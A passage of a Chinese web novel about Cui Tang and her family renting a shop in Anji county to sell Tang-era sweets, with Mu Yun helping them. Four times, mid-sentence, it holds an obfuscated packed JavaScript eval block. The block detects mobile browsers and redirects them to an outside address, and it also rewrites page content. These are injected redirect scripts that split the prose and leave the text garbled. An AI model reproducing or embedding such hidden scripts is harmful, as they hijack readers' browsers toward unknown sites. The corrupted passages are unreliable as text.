“若能把甜水卖进那些高门大院......”她舀着乳酪指向不远处宅邸的飞檐,“每日少说能进账两百文。”杏仁碎在她齿间咯吱作响,仿佛已见糖水化作铜钱雨。 “看什么呢?”崔棠将杏酪推到他跟前。 “东南角。”少年压低斗笠。 崔棠踮脚望去,见临窗坐着个戴幕篱的妇人。素纱罗裙外罩着月白半臂,葱管似的指尖捏着银箸,在翡翠虾仁上点了三回也没夹起半粒。 “原来穆少侠好这口?”她用手肘顶他肋下。 “那便是秦娘子。”穆云拍开她作乱的手,“县尊府上新得宠的如夫人。” 话音未落,着艾绿比甲的婢子已捧上一小碗汤饼:“主君特意让您出来散心,好歹进些......” “撤了吧。”妇人嗓音浸着蜜似的慵懒,“都煮成糊了,当喂雀儿呢?” “她就是秦娘子呀……”崔棠心中冒出个主意。 她摸出半吊钱拍在茶博士掌心:“劳烦借贵店茶寮半炷香,权当结个善缘。”又晃了晃竹篮里红艳艳的山楂丸,“这是新制的消食饮子,专赠贵店东家。” 茶寮里热气蒸腾,崔棠背身挡住旁人视线。玉坠滑入紫云饮时泛起涟漪,她抄起银匙疾搅三圈,眼见青瓷碗壁攀上白霜,又飞快捞出坠子塞回内襟。 待一切准备就绪之后,她小心翼翼地将尚未完全结冰的紫云饮倒入洁白如雪的瓷盏之中。桑葚浆淋在渐融的冰沙上,从深到浅的紫如暮色浸染云霞。 不多时,这吃食就被端到了秦娘子面前的桌案之上。此时,冰块已经融化了大半,正是品尝的最佳时机。 “娘子请看。”茶博士端着檀木餐盘趋近,“这是特制的‘紫云饮’和‘糖霜山楂丸’。”桑葚浆在渐融的冰沙上晕染出晚霞色,糖霜山楂丸颗颗晶莹剔透,瓷盘边沿还沾着崔棠慌乱中抹上的半枚指纹。 秦娘子用护甲勾起冰沙送入口中,这个粗放动作与周身华服格格不入,倒像厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117773|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘尝味的架势。 崔棠在帘子后攥紧衣角,忽听里头传来赞叹:“这饮子配山楂丸,倒解了妾身苦夏的症候!”她探出头,正见秦娘子腕间虾须镯晃着碎光,已空了两盏冰饮。 竹屏微微晃动,崔棠拎着沾糖渍的围裙角跨出来,朝秦娘子行了个标准的万福礼:“安吉县溪山村崔棠,方才冒用醉仙楼名号,实在唐突。” 秦娘子用银签戳起颗山楂丸对着光瞧,糖霜在烛火下折射出细碎金芒:“小娘子这手艺,倒比西市胡商卖的毕罗还精巧。” 她忽然用银签戳破山楂丸,蜜色糖衣裂开时发出脆响:“小娘子废了这许多心思让我品尝,怕不是单为赠饮?” “实不相瞒,这些甜食皆出自家母之手。今日斗胆相赠,是想......租下您的铺面。”崔棠也不隐瞒。 秦娘子听闻此言,不禁心生好奇,问道:“姑娘生得这般花容月貌,又聪明伶俐,何苦风吹日晒挣这辛苦钱?嫁个举人老爷当娘子岂不是更好?” 面对秦娘子的疑问,崔棠微微一笑,目光中带着坚持:“或许是我不愿拿终身作赌。赌玉尚有七分运道,赌人……怕是十赌九输啊!” 一旁的婢女怒斥:“放肆!” 秦娘子却有些怔忡——十年前她攥着两个胡饼闯进安吉县时,城门口水洼也映着这般孤注一掷的眼神。 她随即爽快地应道:“因着小娘子这番话,就租给你了,八百文一月,租你五年!” “那就这么说定了!”崔棠生怕她反悔。 “三日后隅中时分,去铺子里签契约吧!记得备足这桑葚饮。”秦娘子将一簇碎发塞回崔棠鬓角。 崔棠感激地点点头,心中满是欢喜。八百文虽然不少,但有了能制冰的玉坠,应当不在话下。 夕阳把山道染成糖霜色时,崔棠的竹筐里还剩三枚山楂丸。 “多谢你今日破费。”她快走两步与他并肩,“只是那秦娘子戴着帷帽,连我都认不出,你是如何......” “恰巧罢了。”穆云嘴里叼着根狗尾草,“某去讨水时......” “讨水能讨到人家桌前?”崔棠突然旋身挡在他跟前,竹筐里山楂丸撞得叮当响。少年耳后未擦净的美黑膏裂开细纹,露出底下玉色的肌肤。 穆云偏头:“秦娘子近来每日都去那酒楼,随便一打听就知道......”话音戛然而止,他懊恼地咬住舌尖,一副欲盖弥彰的模样。 崔棠憋笑憋得肩头发颤,粗麻裙裾扫过道旁野菊。想帮忙就直说嘛! 她自然瞧不见,少年握拳的指节已然发白——自那日见她把“紫云饮”三字描在糖罐上,胸腔里便奇怪地似揣了只醉酒的雀儿。 山涧跃过青石,穆云望着少女晃动的双丫髻。自己始终是短暂停留,这丫头怕是会伤心吧? 他忽然劈手折断探出山道的野枣枝,惊起群雀乱飞。“当心刺藤。”他哑着嗓子快走几步,不敢看崔棠拎着野枣枝把玩的模样。 崔棠哼着新编的卖糖谣,将最后几颗山楂丸抛给追着玩的村童。 穆云回头时,正撞见她踮脚去够崖边的野山莓,茜色发带扫落几粒晨露凝成的糖晶。 “走了。”少年微潮的手轻拍她发顶,转身时却放慢脚步。山风卷来湿热的气息,他忽地莫名希望这蜿蜒的山道,永远走不到尽头。 11. 市场调查 暮色四合。 崔棠兴冲冲提着裙子进门:“阿耶阿娘,我赁下秦家铺面了!” 贺梅娘正在晒茱萸,指尖还拈着茱萸籽,好奇问道:“不是说要八十贯?” “月租八百文,押一付一,三日后交接。”崔棠依然沉浸在兴奋里:“我去看过铺子了,地段极好,东西也齐全。” “八百文?!” 崔弘闻言手中的柴刀“当啷”砸在磨刀石上,惊道:“咱家有钱交租吗?” 毕竟前不久还是负债身,他有些不敢相信。 崔棠将算筹在竹榻上排开,细细解释:“我觉得能行!扣除成本,官道茶摊日进五十文,县城卖糖丸能得七八十文。”她指尖划过算筹,“眼下只够温饱,所以更要搏一把!若能有间糖水铺,每日进益当可翻番......” 如今家里虽不至于穷得吃不上饭,但起早贪黑挣得是辛苦钱,连裁新衣的布都买不起一匹。虽然贺梅娘和崔弘如今年富力壮,但崔棠心里还把他们当作现代退休年纪的父母,辛苦了半辈子怎么也要享享福才是。 穆云推着独轮车进院门时,正听到崔棠的话,剑眉下琥珀色的眸子映出一丝无人察觉的暖意,朝崔弘道:“若是城里有个落脚处,就不必起早贪黑地赶路了。” 他掌心薄茧擦过车把上未刨净的木刺,忽想起数月前自己还在纵马驰骋长安街,何曾想如今会靠双脚走这么多山路。 贺梅娘摩挲着手中茱萸,叹道:“今日役夫买饮子时,提起那这段官道再有五六日就修好了。”她将晒干的茱萸籽拢进粗布囊,“等役夫们散了,茶摊日进账怕是要折半,是得找些进项。” 崔棠听到这话,就知道母亲已经被自己说服了。 她跳上磨盘,笑道:“那铺子后头还有个小院,三间正屋宽敞着哩!”又比划着踮脚转圈,“阿耶阿娘住东边,我住西边,当中一间做厅堂——” 她忽地一顿,朝穆云狡黠笑道:“只是委屈穆小郎君住前头铺面了!” 穆云正望着少女鼻尖细汗出神:这般家常吵闹,倒比他在朱门高墙内听惯的相敬如宾更鲜活。 闻言屈指弹落肩头落叶,不在意地道:“那可比柴房宽敞!” “哈哈!”崔弘一手接过穆云手中的独轮车,另一只手揽过他肩头,乐道:“不是说武林高手都在树上睡,二郎哪会在意这些。” 穆云:“……” 谁有床不睡乐意睡树上啊?自从把崔叔从野蜂围攻下就出来,他就坚持觉得自己是绿林好汉、江湖游侠儿,为了躲避江湖仇杀,才屈居在这个小山村。 贺梅娘一巴掌拍掉崔弘的胳膊,坚定地道:“棠棠既有这魄力,咱们就赌一把!” 崔棠提着裙角从石磨上跳下,笑眯眯地抱住母亲:“就知道阿娘最懂我啦——” “这次咱们一定可以走出溪桥村,站稳安吉县!” “鬼机灵,累了一天了吃过晚食早点歇着。”贺梅娘掏出帕子给崔棠擦去脸上薄汗,嗔怪道,“横竖还有几日呢!” 次日崔棠一觉醒来,已是天色大亮。 昨夜她躺在榻上一直在思考开店计划,几乎到了子时才堪堪睡着。幸而这身子年轻,倒不觉得太过疲累。她草草洗把脸,换了衣裳就出了房门。 此时院中无人,只灶屋里传来陶瓮“咕嘟咕嘟”煮水的声音。 “棠棠你起来了?”贺梅娘从灶屋门框内探出头来道:“锅里有黍米粥,快些来吃吧!” “穆云呢?”崔棠走进灶屋,拿勺子盛起粥来。 “你阿耶带二郎去官道摆摊了。”贺梅娘从橱里给她拿了碟酱菜递给她,“你不是租了铺子嘛,我想着在家与你商量一下做些什么好。” 崔棠就着酱菜囫囵喝了碗粥,急急道:“这事我想了一晚上,我觉得还得从冰入手!” 说着她从荷包里掏出槐花玉坠,放入一旁煮好的糖水中。 只是等了半晌那坠子安安静静的,一丝红线也无,更不见冰霜。她整个人如坠冰窟——昨日才租的铺子,夸下海口要开创一番事业。完了完了,这让她如何交得出八百文月租! “阿娘!”她抓起玉坠猛晃,“昨儿还能结霜的,我还给秦娘子做了紫云饮冰沙……” 贺梅娘搅着糖浆头也不抬,不紧不慢地道:“本就是意外得来的东西,做生意怎能投机取巧?” 她压根就没想着玉坠能制冰这件事,几十年的人生经历告诉她,靠得住的只有自己的本事。 她拉着崔棠来到灶前,指着一罐胶状物道:“这是乡里草市收的野蕨根粉——”说着用木勺舀起一勺往陶碗里一扣,又淋上一旁凉了的糖浆,“再去井水湃一个时辰,不也成了冰品?” 崔棠见那晶莹剔透的冻子微微晃动,不由大喜:“红糖冰粉?!这都被你做出来了?阿娘你真是个天才!” “嘘——”贺梅娘连忙捂上崔棠的嘴巴,“小心说话!” 崔棠吐吐舌头,也知道自己大意了。 她上前搂住贺梅娘的胳膊,娇嗔道:“阿娘,有你真好——” “好了好了。”贺梅娘扒拉开崔棠,笑骂道:“做阿娘的,不就是给你兜底的嘛,有这腻歪功夫快想想你的铺子要卖什么吧!” 崔棠望着那碗红糖冰粉,突然眼睛一亮:“还有米浆冻!浇上糖浆再撒上干桂花。” “那藕粉应当也可以,还有酒酿圆子、石花冻……”贺梅娘听了这话,又想出了不少以假乱真的“冰品”。 她本就在家做了几十年的饭,自崔棠上大学以后,又开始钻研起甜品烘培一类,虽然这时代很多工具都没有,但细细想来,传统的中式甜品倒也有不少。 有了这个教训,崔棠再不敢对开店一事掉以轻心,午后马不停蹄地赶往县里做“市场调研”。 日头毒得能晒化糖块,崔棠攥着碳条木简满县城转悠。 这是她新发明的便携记录方式,当下粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117774|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸一文一张虽然勉强可承受,但笔墨过于昂贵,平民实难承受。在这时代,或许书写本身就是阶级壁垒。 安吉人口密度虽不大,因是茶叶产地的缘故,往来客商并不少,县城也颇繁华。读书氛围亦很浓厚,除了县学外还有几处书院和私塾,据说还有些隐士住在周遭山里。 并不是她夸大其词,那秦家铺子地处“饮食一条街”,周围既有县学读书的学子,县衙工作的书吏,也不乏去慈恩寺的香客,人流量颇为可观。 崔棠想开的甜铺,以市面常见饮子、果茶为主,还想加入少量甜品糖水一起售卖,辅以糖渍果脯。后续若收入稳定,或可试试推出奶茶。 如今是开元初年,煎茶法刚刚兴起。 只寺院茶寮有些禅茶供给香客,或是文人雅士集会时品茗煮茶,饮茶还未像后世那般风靡大江南北。据说长安有西域传来的羊乳茶,但此处倒是未见到。 县城也有几处饮子铺,卖的多是时令饮品,如“乌梅饮”一类,兼售药茶包。沿河也有些流动粗茶摊,挑着的担子里茗粥卖得飞快。崔棠花几文钱买了来尝,那粥里混了茶末、姜丝和盐,适合贩夫走卒解渴充饥,味道却很是一般。 至于甜品糖水,多在酒楼出售。 她又斥巨资在醉仙楼点了一碗冰酪,在茶博士频频注目中坐了两个时辰。 那穿澜衫的县学学子走的时候嘴角还粘着糖霜,怀里还揣着的油纸包里是没吃完的糖糕。 六文钱一小屉的樱桃毕罗也是小娘子们的心头好,再来碗冰酪便是夏日里极好的消遣了。 “小娘子爱吃甜口花哨的,读书人要体面能带的,过路行商需得解渴管饱……”崔棠蹲在树荫下划拉炭笔冥思苦想。 待她回到家中,已是天色大暗。 一家人用过晚食后,在槐树下边纳凉边商量起来。 听完崔棠这一日的观察结论,贺梅娘沉思道:“蔗浆凉茶、金银花茶这些成本最低可走量卖,红糖冰粉价格可高一些,算头等。”又拉过崔棠看她在泥地上写的食谱,“你来看这些……” 崔棠看那上面密密麻麻竟有四五十种吃食,她雀跃着取过一旁的树枝在上头划出几样:“咱们头三日就推冰粉、米冻和凉茶!” 又“唰唰”圈出雕胡糖糕、豆沙冰粽、凉糕道:“这些可以外带。” 红糖冰粉撒干桂花可算头等,桑葚浆浇米冻当二等,原有的乌梅饮、紫云饮当三等,便宜大碗的蔗浆凉茶和金银花茶走量卖。 一旁闷声听了许久的崔弘突然撂下补到一半的草鞋,蹲在井沿比划:“若用麻绳这么穿竹篮——”他粗糙的手指扯着麻绳演示,“底下挂冰粉,中间搁米冻,最上头放鲜果!” “崔叔这法子甚好!”穆云放下手里正做着的竹杯抚掌夸道。 崔弘挠头不好意思起来,他其实是想到了现代的冰箱。 崔棠蹲在井边看着这情景,喉咙突然发紧,眼角竟有些湿润起来。 12. 棠记契成 筹备一间店铺其实千头万绪。 原料、容器、炊具、餐牌须得样样齐备,如何打出名头去倒是后话了。崔棠虽然从前工作时杀伐果断,又有急智,但对于开店这样琐碎的事情其实想得并不周全,好在她还有父母。从一穷二白的年代成长起来的人,从不乏崔弘这样坚韧的心性,又有贺梅娘的细心妥帖。 几日功夫,竟也筹备的七七八八。 因着往返县城不便,许多东西只能先在村里提前处理好。贺梅娘按照之前试验出的法子,先制了两瓮蔗糖块,又将各色草药晒干备用,连桑葚、山楂、杨梅等果子也腌渍了不少。又向周娘子家的瓜田预定了不少香瓜、寒瓜预备着。 崔弘这次也有了经验,裹得严严实实的,满山去掏蜂窝,存了足足三罐崖蜜。 当然,还有可以当作半个劳力的穆云。说是半个,实在因为是他常常神龙见首不见尾。毕竟只是寄居在此,崔棠也不好真把他当伙计使唤。总归到了饭点,他自会出现。这人也发挥了自己的专长,削了几箩筐竹杯。 六月初五,小暑,宜开市订盟。 安吉县的城楼下,崔棠已经对进城的流程很熟悉了。她掀开挎着的篮子给守卫检验,笑嘻嘻地道:“丁大哥,这里头只有些自家吃的点心。”说着又背着人递了个竹筒过去,“解暑的酸梅饮给您解渴。” 被称为丁大哥的守卫其实也不过十七八岁的年纪,崔棠长得玉雪可爱又会来事,一来二去便熟悉了。他和善地道:“崔小娘子今日又来城里摆摊吗?怎的只有这一篮子?” “不是哩!我家以后要在城里开铺子,今儿先运些要用的东西来,我阿耶阿娘还在后头呢!”崔棠往后一指。 崔弘和贺梅娘推着辆装满瓦罐木桶的独轮车,后头还跟着头戴斗笠挑着扁担的穆云。 “那以后我可有口福了,铺子开了知会我一声!”丁守卫草草翻过便道,“行了,进去吧!” “谢谢丁大哥,到时候开业一定请您来捧场!”崔棠甜笑着道谢。 “哼!”过了城门,一直跟在身后的穆云却气冲冲地挑着担快步越过崔棠。 “谁惹他了?”崔棠问贺梅娘。 贺梅娘哪里知道穆云在闹什么别扭,只说:“许是二郎想给我们带路,咱们快些过去吧!” 崔棠撇撇嘴并不在意,在她看来穆云不过是个青春期的少年,贵公子虎落平阳嘛,气性大些也正常。 穆云步子虽快,扁担却挑得很稳,毕竟是练家子。只是不知为何刚才听崔棠在那左一声“大哥”右一声“多谢”,心里就烦躁得很,额头都沁出了汗。 这不识好歹的小丫头,对着外人笑眯眯,对他却总没什么好脸色。 秦家铺子就在县城大街的不远处,穆云脚程快,又憋着一股气,半柱香功夫就到了。他这才发现自己把崔家几人都甩在了身后,只好坐在石阶上等。 却不想崔棠被人绊住了脚。 “听说棠娘要开铺子?” 崔棠好好在路上走,一个金光闪闪的身影拦住了她的去路,原是她那个便宜堂兄。 崔弘立刻撂下车子,母鸡护崽一样拦在崔棠面前,不耐地道:“大郎这是要做什么?” “五叔五婶也在呢!”他一副刚看见他们的模样。 “也没什么,就是想着帮帮棠娘。”崔林腰间簇新的错金香囊晃得人眼花,“这生意哪是这么好做的,你小小年纪,五叔五婶也整日在村里不懂这些。不如让堂兄参个股,包你赚得盆满钵满。” 崔棠拦住崔弘暴起的身子,对崔林道:“堂兄这香囊,怕是租十个铺子也够了。”少女笑眼弯弯:“我们小门小户的,可不敢劳烦您家——万一再‘帮’我们经营二十年......” “哟,棠娘这是说的那里话!”一个尖锐刺耳的声音传来,不是那她那市侩的堂嫂还有谁? “我家郎君可是好意,这论理说我们也是你兄嫂,你年纪轻,没人从旁提点可是会走歪路的。”王氏见崔棠态度强硬,又搬出这套长幼有序来。 崔棠可不耐烦跟他们敷衍,她冷笑道:“我自有阿耶阿娘提点,就不劳烦您这个隔个房头的堂兄了。” 贺梅娘此时也反应过来了,她:“我说大郎大郎媳妇,棠娘我自会教,你们在这大街上拦住我们不让走,可不是做人子侄的礼数。” “是呀堂兄,瞧大伙儿都看着呢!有话不如回去当着族长的面再好好聊聊。”崔棠示意他看四周。 有好事者已逐渐围拢过来瞧热闹,崔林盯着她皮笑肉不笑的样子,索性伸手去掀独轮车上的盖布:“既是一家人——” “当心扎了你的手!”穆云不知从哪里冲了出来,用力抓住崔林的手就是一扭。 “痛痛痛——”崔林痛得龇牙咧嘴,连连呼救。却不知为何他那些仆役连同妻子,都被看热闹的人群挤开了,没人来解救他。 穆云在他耳边低声威胁道:“你若再不走,这手可就折在这了!”说完又一用劲。 “我走,我走!”崔林急道。 穆云面色阴沉猛地一甩手,直接把崔林掼在了地上道:“滚!” 崔林从未如此受辱,扶着仆役的手就挤开人群仓皇跑了,还不忘放狠话:“走着瞧!别到时候赔得血本无归来求我……” 崔棠才不搭理他,转头从独轮车上抱下一个瓦罐,里头是竹签串好的糖霜山楂丸。又特意将竹签子举高,那外层的糖衣在日光下晶晶亮,惹得街边几个小娃娃踮着脚直咽口水。 “诸位叔伯婶婶,我家甜铺过几日开张,就在原先秦家汤饼铺。”说着向四周分发糖丸,脆生生的吆喝,“糖水、甜食、解暑饮子都是有的,头三日免费试饮试吃,有空不妨来尝尝!” 她才不浪费这么绝佳的宣传机会,黑红也是红嘛! “原来秦家铺子租给这家了……” “听见了没?头三天不要钱呢!” “这酸甜味正,也不知怎么卖……” …… 崔棠分完最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122186|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两串山楂糖丸,转头跳起来拍了拍杵在原地的穆云的肩膀: “走啦,大英雄!给你留了阿娘新做的山楂糕当谢礼。” 穆云本来板着张脸,被她这么一撞脸上热腾腾的,不过涂了美黑膏并看不出什么,只耳尖悄悄泛了红。 他无奈摇摇头,回头帮崔弘推了车,往铺子里走去。 好不容易到了铺子已比原定时辰晚了些许,早候着的牙人眼睛倏地亮起来。 这瘦高个儿方才还倚着门框打哈欠,此刻却蹿上前热切地道:“鄙人徐文利,今后有事吩咐我就成,可算等到崔小娘子了……”他边说边掏出串铜钥匙,倒没有半分不耐,好声好气地迎了他们进门。 “小娘子瞧这铺子多敞亮,碗筷家具都是齐全的——”徐文利正给崔棠展示铺子,忽地鼻尖一动。 只见见秦娘子扶着丫鬟款款而来,藕荷色披帛轻轻被风扬起。他立刻换了副唱戏般的腔调:“哎呦我的活菩萨!您这云锦缎子往这儿一衬,咱们铺面都镀了层金呐!”边说边扯着衣摆猛擦本就锃亮的门槛,活像见了凤凰的喜鹊。 崔棠倒不意外他今日这番截然不同的表现,心中暗自思忖着,这厮变脸比翻账簿还利索,往后怕是得多留个心眼。 贺梅娘听见外头动静,端着盘子从后厨转出,对秦娘子一礼,笑着道:“秦娘子安好。” 她将白瓷盘轻轻搁在木桌上,盘中瓷白色米冻颤巍巍晃着,淋着紫玉髓般的桑葚:“听棠儿说,您爱那紫云饮的酸甜,我便试着把米浆蒸凝成冻,拿井水镇了一夜,您尝尝可能入口?” 秦娘子瓷勺轻叩间舀起半勺水晶冻,米冻入口即化,桑葚的清甜混着薄荷凉意漫上舌尖。她帕子掩着唇轻呼:“娘子好巧的手!这米冻竟比羊脂玉还滑嫩,甜而不腻,配上桑葚更有一股淡淡的果香。” 贺梅娘听了心中不禁欢喜起来,谦虚道:“能得秦娘子喜欢,便是我的荣幸了。” 话音未落,徐文利此时捧着契书点头哈腰走进来:“按市署新规,食肆月纳三十文市租——”他望向崔弘问道,“这铺面可是要挂‘崔记’匾额?” 谁知崔弘蒲扇大的巴掌“啪”地拍在柜台上,“就叫棠记!海棠的棠。”想起晨间崔林拦路的嘴脸,他古铜色的脖颈青筋突突直跳。这铺子以后是要留给棠棠的,可不能再被他们抢了去。 “得嘞!”徐文利利落地补上铺名,边说边将印泥往崔弘跟前推,“契纸备好了,烦请画个押按个指印。” “棠棠来签!”崔弘将崔棠往前一推,神情执拗,铁了心要让崔棠来主事。 “这——”徐文利犹豫地看向秦娘子。 秦娘子指尖护甲在契书上叩出清脆声响,她目光落在崔棠身上,眼中不自觉地流露出几分温柔:“无妨,别看崔小娘子尚未及笄,做事果决着呢!” 崔棠本就不是扭捏的性子,匆匆扫一眼契书条款便爽快画押落印。徐文利揣着契书兔子似的窜出店门,麻履在青石板上敲出急雨般的脆响。 13. 意外之喜 日头渐高,坐在铺子里似乎都能热得沁出汗来。 估摸着徐文利去市署且还有一阵,秦娘子看着又不像是要回府的样子,崔棠只得让崔弘搬了张竹丝方桌放在天井的枇杷树旁,再挪几张胡床过来,有着屋檐遮蔽,倒也阴凉。 胡床类似现代的折叠小马扎,虽然并不高,但也比席地而坐舒适得多。这铺子好就好在铺面虽不大,桌椅板凳都是轻便的,不需要随时可以收起来。 还有这枇杷树简直是意外之喜,早已结满了熟透的、黄澄澄的果子,光是想想枇杷雪梨的味道,崔棠就觉得口舌生津。 显然最懂吃食的贺梅娘也想到了此处。她惊喜地回头对秦娘子道:“托秦娘子的福,我们竟还有枇杷吃呢!” “这株枇杷可有七八年了,又大又甜。贺娘子若有好方子,不妨用这果子来试试。”秦娘子也笑,只是似乎笑意不达眼底。 “枇杷清热润肺可是好东西,煮水、蜜渍、做成枇杷膏都不错,到时候一定给娘子都送去。”贺梅娘似是没看出什么,陪着秦娘子在院子里坐下闲话起来。 崔棠却静不下来,扯着父亲袖口去看铺子陈设。 “阿耶看,此处当设个展柜,新制的米冻、冰粉往里头一搁,保管叫人挪不开眼!”崔棠指着铺子中央。 崔弘哈哈大笑道:“巧了!昨儿个我就想着用竹篾编转盘,我连夜画了图样——”他蘸着水在案上画出层层叠叠的圆台,“这般能转的架子,搁你那些甜水糕点岂不正好?” 旋转甜品台?崔棠眼睛一亮,朝崔弘竖起大拇指。 说话间两人又回到院中,崔弘三两步跨过门槛:“这井水深得很,悬上个五六篮寒瓜、梅子不成问题。”他拽着麻绳示范,“顶上搭块木板,正好摆你娘新做的点心。” “这口大缸也不能闲着,”崔棠纤指轻叩缸沿,“蔗浆、糖块、崖蜜,镇在此处随取随用。”忽又蹙起眉,“只是盛甜品的碗盏似乎不大匹配了些……” 家里那些陶碗必定不能用了,用箬叶垫在底下,荷叶包裹外带倒也勉强可行,但若堂食就露怯了。 崔弘也很苦恼:“那些竹筒只能盛饮子,像冰粉这类还是要碗碟装着才好看。” 正思忖着,秦娘子忽然开口道:“小娘子若不计较旧物,去修德坊南巷寻刘二头。那老儿专收富贵人家淘汰的器皿,不算什么珍品,但配你的甜品应是尽够了。” 崔弘闻言大喜,把手里的麻绳一搁,拉起女儿就要行礼拜谢,却被秦娘子用团扇虚虚一挡:“快去吧,晚了那老头就出门喝酒去了。” “我这就去,这就去……”崔弘急不可耐地往外走。 崔棠看父亲着急的模样无奈地笑了,忙跟贺梅娘拿了钱袋子追出去。不想追到外头只剩毒辣辣的太阳照着空荡的街面,全然不见崔弘的身影,倒是看见穆云靠着门框发呆。 “穆少侠……”崔棠眨巴着大眼睛委屈巴巴地喊他。 “有话就说!”穆云一哆嗦,显然是不习惯她这副模样。 崔棠也不装了递给他钱袋子,直言道:“我阿耶去买碗碟了,钱袋子都不带,你脚程快,帮我送去修德坊南巷。顺便帮我盯着阿耶,别被人骗了。” “叫声好哥哥就帮你。”穆云就是这样,见她正经了又开始逗她。 “好你个头!”崔棠忍不住锤他胳膊,又利诱他:“我给你用井水镇一碗凉粉,回来吃凉丝丝的刚刚好。” 穆云一副被打动了的样子接过钱袋,走之前还不忘叮嘱:“要一大碗啊!” “好好好,你可快去吧!”崔棠推了他一把。 见他一阵风似的消失在街角,崔棠才放心回到铺子里。把差事交给穆云她是放心的,这少年虽平日里看着吊儿郎当没个正形,其实成算大着呢!必不会被坑,只有他坑别人的份。 反正闲着也是闲着,她把从村里带来的东西一样一样归置起来。今日衣裳被褥也都带了一些,晚上只有阿耶回村里,她和阿娘、穆云都打算住下来,得赶紧把睡觉的地方收拾出来。 穿堂风掠过秦娘子披帛,她望着崔棠进进出出的忙碌身影忽地轻笑:“瞧你们这一家子,倒像那杂戏班里的踏摇娘,锣鼓点子还没响呢,先翻出十八个跟头来。不像我……”说到此处,她微微叹了口气,神色有些黯然。 崔棠正在擦格扇窗,闻言悄悄竖起耳朵。 她早从坊间打探得:这秦娘子虽正值花信之年,但着实命运多舛。原是隔壁武康县人士,因家中亲人相继离去,孤身一人来这安吉县与早年订了娃娃亲的丈夫成亲,不想丈夫却早早离世。好不容易靠汤饼铺子站稳脚跟,却又因美貌引来不少麻烦。无奈之下,她只好选择成为县令的妾室,以求得到一份庇护。如今虽顶着县令如夫人的名头,估计在府里还要受主母掣肘,处处不自在。 贺梅娘闻言蓦地握紧手中竹杯,观察着似乎秦娘子神色如常,忙岔开话头:“这天燥得很,棠儿快把......”话到舌尖转了三转,终究咽下那句“枇杷摘些下来洗洗”。方才提到枇杷她就觉得秦娘子情绪不高,此刻多言,怕是又要惹她不快。 倒是崔棠抱着一罐蜜渍山楂蹦跳过来,双鬟髻上随手簪的野花扑棱乱颤:“秦娘子快瞧!这是阿娘新渍的山楂,与上回山楂丸的口感不同,待会咱们就着酸梅汤尝鲜可好?” 作为一个现代人固然不能理解这主动去做妾的女子,但女人无论在哪里生存处境都一样艰难是事实。更何况,管他什么夫人如夫人,既是条能遮风挡雨的金大腿,抱紧了总没错。 秦娘子就着崔棠的手用竹签叉起个山楂,笑骂:“小机灵鬼,这般殷勤,是不是又有什么企图?” “哪有什么企图,”崔棠笑嘻嘻道:“就是后日铺子开业,想请您大驾光临。”崔棠请她来,不外乎是为了“名人效应”。 秦娘子倒也不恼,只说倒时若得空就来看看。不过最终她还是没等到徐文利回来,就被婢子劝着先回了府。看来得宠的如夫人,自由的时间也不过半天功夫。 不过轮不到崔棠多愁善感,还有好大一个铺子等着她去收拾呢!崔弘把那碗碟买回来,就早早回村里了。她和贺梅娘一起忙到了晚间,院内院外才大致收拾妥当。 贺梅娘摆了饭在天井里,招呼崔棠和穆云来吃。一道鲥鱼莼菜汤,一碟凉拌胡瓜,一盘水煮芹菜,主食是粟米饭,搭配酸梅饮便算是极丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131952|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛的一餐了。当然今晚的重头戏是崔棠此刻端上来的三碗冰粉。 这冰粉不用冰,是一种名叫薜荔果的籽,放入凉白开浸泡后,用手搓揉,再用井水镇上一碗,就凝结成了眼前这晶莹剔透的样子。崔棠用勺子挖上几勺盛在新买的白瓷盏里,均匀地浇上蔗浆,再撒上从周娘子那儿要来的干桂花,一碗凝脂般的冰粉就做好了。 崔棠将白瓷盏推到穆云面前,一脸期待地看着他:“穆小郎君尝尝,这比醉仙楼的冰酪如何?” 